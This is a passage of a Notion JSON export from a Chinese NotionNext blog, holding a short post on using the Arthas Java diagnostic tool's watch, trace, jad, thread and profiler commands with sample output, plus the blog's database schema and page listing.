1423956,"last_edited_time":1710906344576,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"3991bb35-efa4-4722-a269-9f80ad3e5a89":{"value":{"id":"3991bb35-efa4-4722-a269-9f80ad3e5a89","type":"header","properties":{"title":[["常用命令"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710901443441,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"10f81046-c412-4a78-b051-1cec7d572d9c"}},"46c4c01d-bf1b-4ce0-8eda-5c0639b8453f":{"value":{"id":"46c4c01d-bf1b-4ce0-8eda-5c0639b8453f","type":"image","properties":{"size":[["189.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a64a490d-b29d-4ba1-8be9-96d62264806d/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a64a490d-b29d-4ba1-8be9-96d62264806d/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6185567010309279,"block_preserve_scale":true},"created_time":1710906683245,"last_edited_time":1710906688096,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["a64a490d-b29d-4ba1-8be9-96d62264806d"]}},"91a2fac9-d67e-4eb6-8f80-ce12aa78557c":{"value":{"id":"91a2fac9-d67e-4eb6-8f80-ce12aa78557c","type":"sub_header","properties":{"title":[["watch"]]},"created_time":1710901434875,"last_edited_time":1710901445307,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"5e155fc2-041f-4ac4-9863-f257c6ae8d99":{"value":{"id":"5e155fc2-041f-4ac4-9863-f257c6ae8d99","type":"code","properties":{"title":[["#观察方法出入参+报错\nwatch com.xxx.AppUserController sendSms '{params,returnObj,throwExp}' -n 5 -x 3\n\n#输出\nts=2024-03-20 11:53:00; [cost=0.021166ms] result=@ArrayList[\n @Object[][\n @String[312],\n @Integer[213],\n ],\n @R[\n serialVersionUID=@Long[1],\n code=@Integer[0],\n message=null,\n data=null,\n success=@Boolean[true],\n timestamp=@Long[1710906780811],\n ],\n null,\n]\nmethod=com.x.AppUserController$$EnhancerBySpringCGLIB$$3b34f282.sendSms location=AtExit\nts=2024-03-20 11:53:00; [cost=2.907583ms] result=@ArrayList[\n @Object[][\n @String[312],\n @Integer[213],\n ],\n @R[\n serialVersionUID=@Long[1],\n code=@Integer[0],\n message=null,\n data=null,\n success=@Boolean[true],\n timestamp=@Long[1710906780811],\n ],\n null,\n]\n "]],"language":[["Bash"]]},"created_time":1710906693642,"last_edited_time":1710906797252,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"a70ea93f-49bc-44eb-9af4-58311b9e22a0":{"value":{"id":"a70ea93f-49bc-44eb-9af4-58311b9e22a0","type":"sub_header","properties":{"title":[["trace"]]},"created_time":1710901445747,"last_edited_time":1710906821342,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"5b9a3023-17e9-4d71-9a01-b90ada81a321":{"value":{"id":"5b9a3023-17e9-4d71-9a01-b90ada81a321","type":"code","properties":{"title":[["#追踪搞方法调用\ntrace com.x.AppUserController sendSms -n 5 --skipJDKMethod false \n\n#输出\nAffect(class count: 2 , method count: 2) cost in 150 ms, listenerId: 3\n`---ts=2024-03-20 11:54:11;thread_name=XNIO-1 task-1;id=106;is_daemon=false;priority=5;TCCL=sun.misc.Launcher$AppClassLoader@18b4aac2\n `---[1.246583ms] com.x.AppUserController$$EnhancerBySpringCGLIB$$3b34f282:sendSms()\n `---[95.80% 1.19425ms ] org.springframework.cglib.proxy.MethodInterceptor:intercept()\n `---[3.87% 0.04625ms ] com.x.AppUserController:sendSms()\n `---[32.70% 0.015125ms ] com.x.R:ok() #57"]],"language":[["Bash"]]},"created_time":1710906812040,"last_edited_time":1710906871141,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"309ea1f2-8e10-48f9-8990-6192b5ecf2dc":{"value":{"id":"309ea1f2-8e10-48f9-8990-6192b5ecf2dc","type":"sub_header","properties":{"title":[["jad"]]},"created_time":1710901448030,"last_edited_time":1710906897791,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"28f29155-ccfb-4e5c-a590-530707efde4e":{"value":{"id":"28f29155-ccfb-4e5c-a590-530707efde4e","type":"code","properties":{"title":[["#主要用于对比线上代码\njad com.x.AppUserController"]],"language":[["Bash"]]},"created_time":1710906887349,"last_edited_time":1710906920113,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"72c01b35-1a16-4630-8517-0ef7f56a4958":{"value":{"id":"72c01b35-1a16-4630-8517-0ef7f56a4958","type":"image","properties":{"size":[["84.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a9abc042-0739-4a92-ba55-afaee3c4c751/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a9abc042-0739-4a92-ba55-afaee3c4c751/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.45493562231759654,"block_preserve_scale":true},"created_time":1710906945009,"last_edited_time":1710906950491,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["a9abc042-0739-4a92-ba55-afaee3c4c751"]}},"39acdf62-e65e-4362-a2ff-92efffb2eea9":{"value":{"id":"39acdf62-e65e-4362-a2ff-92efffb2eea9","type":"sub_header","properties":{"title":[["thread"]]},"created_time":1710901450059,"last_edited_time":1710906987529,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"110b2916-df77-4445-a6f5-5a7f700f14e0":{"value":{"id":"110b2916-df77-4445-a6f5-5a7f700f14e0","type":"code","properties":{"title":[["#查询资源占用最高的线程\nthread -n 1\n\n#输出\n\"arthas-command-execute\" Id=131 cpuUsage=3.35% deltaTime=7ms time=739ms RUNNABLE\n at sun.management.ThreadImpl.dumpThreads0(Native Method)\n at sun.management.ThreadImpl.getThreadInfo(ThreadImpl.java:461)\n at com.taobao.arthas.core.command.monitor200.ThreadCommand.processTopBusyThreads(ThreadCommand.java:206)\n at com.taobao.arthas.core.command.monitor200.ThreadCommand.process(ThreadCommand.java:122)\n at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl.process(AnnotatedCommandImpl.java:82)\n at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl.access$100(AnnotatedCommandImpl.java:18)\n at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl$ProcessHandler.handle(AnnotatedCommandImpl.java:111)\n at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl$ProcessHandler.handle(AnnotatedCommandImpl.java:108)\n at com.taobao.arthas.core.shell.system.impl.ProcessImpl$CommandProcessTask.run(ProcessImpl.java:385)\n at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)\n at java.util.concurrent.FutureTask.run$$$capture(FutureTask.java:266)\n at java.util.concurrent.FutureTask.run(FutureTask.java)\n at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:180)\n at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:293)\n at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)\n at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)\n at java.lang.Thread.run(Thread.java:750)\n"]],"language":[["Bash"]]},"created_time":1710906965748,"last_edited_time":1710907009357,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"6ba8ddd5-4df3-4bf4-a8c2-3154d9404a97":{"value":{"id":"6ba8ddd5-4df3-4bf4-a8c2-3154d9404a97","type":"sub_header","properties":{"title":[["profiler",[["b"],["b"]]],["\n"]]},"created_time":1710901458327,"last_edited_time":1710901579890,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"713edbb3-17cd-4bb8-91c5-4a500b3a8994":{"value":{"id":"713edbb3-17cd-4bb8-91c5-4a500b3a8994","type":"code","properties":{"title":[["#开始\nprofiler start\n\n#结束\nprofiler stop\n\n#profiler output file: 0320-115804.html\n#可以分析cpu占用情况"]],"language":[["Bash"]]},"created_time":1710907067208,"last_edited_time":1710907145599,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"23e941c9-ce06-4f1b-af06-6bccec2d3ea4":{"value":{"id":"23e941c9-ce06-4f1b-af06-6bccec2d3ea4","type":"image","properties":{"size":[["80.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/09a367be-1cfb-4d2f-9052-7e0f3016a150/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/09a367be-1cfb-4d2f-9052-7e0f3016a150/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4722863741339492,"block_preserve_scale":true},"created_time":1710907126483,"last_edited_time":1710907132935,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["09a367be-1cfb-4d2f-9052-7e0f3016a150"]}},"bb1503ec-72a1-49b0-bfc0-5514d3749738":{"value":{"id":"bb1503ec-72a1-49b0-bfc0-5514d3749738","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710900523641,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"5d496523-f3ac-4297-ab9d-49946de020e0":{"value":{"id":"5d496523-f3ac-4297-ab9d-49946de020e0","type":"bulleted_list","properties":{"title":[["arthas热部署很好用,注意限制"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710907028613,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"abe817d3-4a91-4f84-aed1-113eab9e33ea":{"value":{"id":"abe817d3-4a91-4f84-aed1-113eab9e33ea","type":"bulleted_list","properties":{"title":[["介绍了常见的几个cmd"]]},"created_time":1710907028924,"last_edited_time":1710907040685,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"b7688c06-839f-475f-99d8-092a08b7e21d":{"value":{"id":"b7688c06-839f-475f-99d8-092a08b7e21d","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05":{"value":{"id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","type":"column_list","content":["08b983f6-4c29-44d6-9bbc-d56cde7ee3df","f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","b05adf15-e470-40ac-b755-5f24225e2c1f"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"27f5381c-4c90-4bf9-ad1d-be7f972dfced":{"value":{"id":"27f5381c-4c90-4bf9-ad1d-be7f972dfced","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"08b983f6-4c29-44d6-9bbc-d56cde7ee3df":{"value":{"id":"08b983f6-4c29-44d6-9bbc-d56cde7ee3df","type":"column","content":["ee0f9627-898a-4467-a5a0-6620126e3153"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6":{"value":{"id":"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","type":"column","content":["ed7bb86a-e468-4bbc-94c0-d66e88cabe84","a3483dad-5468-4b87-89eb-de9d4f7e17f9"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"b05adf15-e470-40ac-b755-5f24225e2c1f":{"value":{"id":"b05adf15-e470-40ac-b755-5f24225e2c1f","type":"column","content":["45f58361-42f3-4de5-ae99-a1174d6fdd08"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"ee0f9627-898a-4467-a5a0-6620126e3153":{"value":{"id":"ee0f9627-898a-4467-a5a0-6620126e3153","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"08b983f6-4c29-44d6-9bbc-d56cde7ee3df","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"ed7bb86a-e468-4bbc-94c0-d66e88cabe84":{"value":{"id":"ed7bb86a-e468-4bbc-94c0-d66e88cabe84","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["i"],["b"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"a3483dad-5468-4b87-89eb-de9d4f7e17f9":{"value":{"id":"a3483dad-5468-4b87-89eb-de9d4f7e17f9","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"45f58361-42f3-4de5-ae99-a1174d6fdd08":{"value":{"id":"45f58361-42f3-4de5-ae99-a1174d6fdd08","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710900523644,"last_edited_time":1710900523644,"parent_id":"b05adf15-e470-40ac-b755-5f24225e2c1f","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e